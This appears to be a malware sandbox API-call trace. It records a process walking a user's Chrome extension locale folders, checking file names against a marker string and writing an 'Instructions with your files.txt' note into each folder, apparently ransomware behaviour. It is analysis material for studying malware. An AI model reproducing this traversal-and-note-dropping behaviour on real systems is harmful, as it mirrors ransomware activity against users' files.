[0130.263] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834bae00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bd510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x447a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.263] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\Instructions with your files.txt") returned 183
[0130.264] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.264] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.265] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.265] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.265] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.265] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.265] CloseHandle (hObject=0x134) returned 1
[0130.265] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.265] GetProcessHeap () returned 0x810000
[0130.265] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.265] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c7150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834c7150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kn", cAlternateFileName="")) returned 1
[0130.265] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn") returned 150
[0130.265] GetProcessHeap () returned 0x810000
[0130.265] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.266] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*") returned 152
[0130.266] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c7150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834c7150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.266] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\.") returned 152
[0130.266] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c7150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834c7150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.266] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\..") returned 153
[0130.266] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834c7150, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c9860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x55a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.266] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json") returned 164
[0130.266] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.266] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834c7150, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c9860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x55a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.266] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\Instructions with your files.txt") returned 183
[0130.266] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.266] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.267] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.267] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.267] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.268] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.268] CloseHandle (hObject=0x134) returned 1
[0130.268] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.268] GetProcessHeap () returned 0x810000
[0130.268] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.268] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ce680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ce680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
[0130.268] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko") returned 150
[0130.268] GetProcessHeap () returned 0x810000
[0130.268] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.268] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*") returned 152
[0130.268] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ce680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ce680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.269] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\.") returned 152
[0130.269] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ce680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ce680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.269] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\..") returned 153
[0130.269] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ce680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d0d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x403a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.269] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json") returned 164
[0130.269] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.269] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ce680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d0d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x403a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.269] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\Instructions with your files.txt") returned 183
[0130.269] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.270] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.270] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.271] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.271] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.271] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.271] CloseHandle (hObject=0x134) returned 1
[0130.271] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.271] GetProcessHeap () returned 0x810000
[0130.271] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.271] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d5bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834d5bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
[0130.271] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt") returned 150
[0130.271] GetProcessHeap () returned 0x810000
[0130.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.271] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\*") returned 152
[0130.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d5bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834d5bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.271] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\.") returned 152
[0130.271] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d5bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834d5bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.271] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\..") returned 153
[0130.272] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834d5bb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d82c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x416b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.272] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json") returned 164
[0130.272] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.272] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834d5bb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d82c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x416b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.272] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\Instructions with your files.txt") returned 183
[0130.272] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.272] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.273] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.273] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.273] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.273] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.273] CloseHandle (hObject=0x134) returned 1
[0130.273] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.273] GetProcessHeap () returned 0x810000
[0130.273] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.273] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834dd0e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834dd0e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
[0130.273] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv") returned 150
[0130.274] GetProcessHeap () returned 0x810000
